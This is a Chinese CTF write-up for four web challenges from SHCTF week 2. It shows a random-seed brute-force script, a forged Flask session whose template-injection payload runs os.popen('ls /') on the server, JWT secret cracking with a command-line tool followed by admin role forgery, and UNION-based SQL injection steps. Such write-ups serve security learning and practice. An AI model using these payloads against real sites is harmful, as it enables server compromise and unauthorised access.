首页 > 其他分享 >SHCTF(week 2)web-wp

SHCTF(week 2)web-wp

时间:2024-10-24 20:33:00浏览次数:1  
标签:week web r1 session admin random flag seed wp

1.guess_the_number:

F12后查看源码并下载,由于可以获得第一个数,要知道seed可以使得每次生成的随机数一样,我们考虑爆seed,写脚本如下:

import random

def r1(seed):
    random.seed(seed)
    return random.randint(1000000000,9999999999)

for seed in range(1000000,9999999):
    r1_real=1903541205
    if r1(seed)==r1_real:
        print("seed=",seed)
        random.seed(seed)
        random.randint(1000000000, 9999999999)
        r2=random.randint(1000000000,9999999999)
        print(r2)
        break

得到flag

2.入侵者禁入:

读源码发现是模板注入并且解码session发现注入点在session里的flag参数,源码给了secret_key那就直接修改session,这里要么一步步找子类找os函数位置要么直接飞过去,使用工具伪造session:

 python3 flask_session_cookie_manager3.py encode -s "0day_joker" -t "{\"role\":{\"flag\":\"{{url_for.__globals__['os'].popen('ls /').read()}}\",\"is_admin\":1}}"

得到session:eyJyb2xlIjp7ImZsYWciOiJ7e3VybF9mb3IuX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2xzIC8nKS5yZWFkKCl9fSIsImlzX2FkbWluIjoxfX0.ZxowjQ.P72b_Vl7zEVYmLgPDEUfNmaDvA8

后面改改指令就行,可以读到flag。

3.登录验证:

提示给了说要爆破jwt,我们先以admin登录一下,随便试几个密码发现密码应该是admin,说我们“不是真的admin”,那找找token,发现得把role改成admin,并且把那些时间改改,参考【Token】浅谈JWT Token机制 - 知乎 (zhihu.com)我们先把jwt密钥爆破出来,我用的是c-jwt-cracker-master,由于不知道密钥位数,电脑干红温了都爆不出来,仔细看题目提示666猜测是6位密钥,然后误打误撞在数字组找到了secret

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjk3Nzc2NTEsImlhdCI6MTcyOTc3MDQ1MSwibmJmIjoxNzI5NzcwNDUxLCJyb2xlIjoidXNlciJ9.9E_42Bp92yz-8bx9PbMVt-ipcCi9uPHKTSaBht55kb8 0123456789 6
Secret is "222333"

然后修改jwt,把role改为admin,exp改到足够大,最后修改token为伪造的token内即得flag

4.自助查询:

union联合注入,输入应为1") union select 1,2这种样式

1.找数据库,名为"ctf"

2.找表名,找到flag表

3.找字段名,找到scretdata

4.查看scretdata的值,提示我们在注释里面

5.找注释,发现flag

标签:week,web,r1,session,admin,random,flag,seed,wp
From: https://www.cnblogs.com/c1432/p/18500431

相关文章

  • jspm基于Java web的在线餐饮管理系统的设计和实现(11862)
     有需要的同学,源代码和配套文档领取,加文章最下方的名片哦一、项目演示项目演示视频二、资料介绍完整源代码(前后端源代码+SQL脚本)配套文档(LW+PPT+开题报告)远程调试控屏包运行三、技术介绍Java语言SSM框架SpringBoot框架Vue框架JSP页面Mysql数据库IDEA/Eclipse开发......
  • SHCTF(week 1)web-wp
    1.1zflask:题目描述问robots有什么用,那就进入/robots.txt目录找到/s3recttt,下面根据下载的文件内容进入/api目录,覆盖SSHCTFF变量?SSHCTFF=cat/flag就可以得到flag。2.MD5Master:使用fastcoll生成指定头文件的MD5碰撞,下面拖到16进制编译器去个头,并url编码发过去就行(这里不要用......
  • StudyTonight-Web-中文教程-一-
    StudyTonightWeb中文教程(一)原文:StudyTonight协议:CCBY-NC-SA4.0HTMLHTML标签AHTML<a>标签原文:https://www.studytonight.com/html5-references/html-a-tagHTML<a>标签是一个锚点,用来创建一个超链接。超链接用于将当前网页与其他网页或互联网上可用的任何其他网......
  • .net7.0 WebApi 添加 JWT 验证
    https://blog.csdn.net/u012563853/article/details/128659472详细步骤:1.创建默认WebApi项目2.开始添加认证包安装Microsoft.AspNetCore.Authentication.JwtBearer包这个包是用来支持WebApi的JWT认证的3.在appsetting中配置JWT的配置信息这里需要注意的是key......
  • JavaWeb合集14-全局异常处理器
    十四、全局异常处理器全局异常处理器(GlobalExceptionHandler)是指一种机制,用于集中处理应用程序中未被捕获的异常。全局异常处理器可以用来统一处理整个应用程序中可能出现的异常,从而确保在出现未预期的错误时,程序能够以一种优雅的方式处理这些错误,并提供一致的错误响应......
  • JavaWeb合集17-拦截器(Interceptor)和过滤器(Filter)
    十七、拦截器和过滤器在JavaWeb开发中,拦截器(Interceptor)和过滤器(Filter)都是用于在请求处理前后执行某些操作的机制。虽然它们的功能相似,但在实现方式、使用场景和灵活性方面有一些重要的区别。1、拦截器和过滤器的区别及选择1.1拦截器定义:拦截器是Spring框架提供......
  • JavaWeb合集15-线程局部变量ThreadLocal
    十五、ThreadLocalThreadLocal并不是一个Thread,,而是Thread的局部变量。ThreadLocal为每个线程提供单独一份存储空间,具有线程隔离的效果,只有在线程内才能获取到对应的值,线程外则不能访问。场景:通过过滤器/过滤器获取到JWT,可将JWT值存储到ThreadLocal中,当执行到需要JWT的......
  • 基于 Python 的机器学习模型部署到 Flask Web 应用:从训练到部署的完整指南
    目录引言技术栈步骤一:数据预处理步骤二:训练机器学习模型步骤三:创建FlaskWeb应用步骤四:测试Web应用步骤五:模型的保存与加载保存模型加载模型并在Flask中使用步骤六:Web应用的安全性考量示例:简单的输入验证示例:自定义错误处理示例:使用Flask-JWT-Extended进......
  • BUUCTF_2020网鼎杯[朱雀组]phpweb
    BUUCTF_2020网鼎杯[朱雀组]phpweb启动环境页面出现warning,并且发现页面存在自动刷新,使用burpsuite抓包:发现两个参数func和p并且发现页面中有2024-10-2403:55:59am,判断执行了date函数,根据func和p的形式猜测函数执行,func输入函数,p输入语句获取源代码:func=highlight_file&p=......
  • WinForm 简单实现仿WPF的WrapPanel和StackPanel
    publicinterfaceIDesiredPanel{SizeGetDesiredSize(intavailableWidth,intavaiableHeight);}publicclassStackPanel:Panel,IDesiredPanel{protectedoverridevoidOnLayout(LayoutEventArgslevent){base.OnLayout(levent);......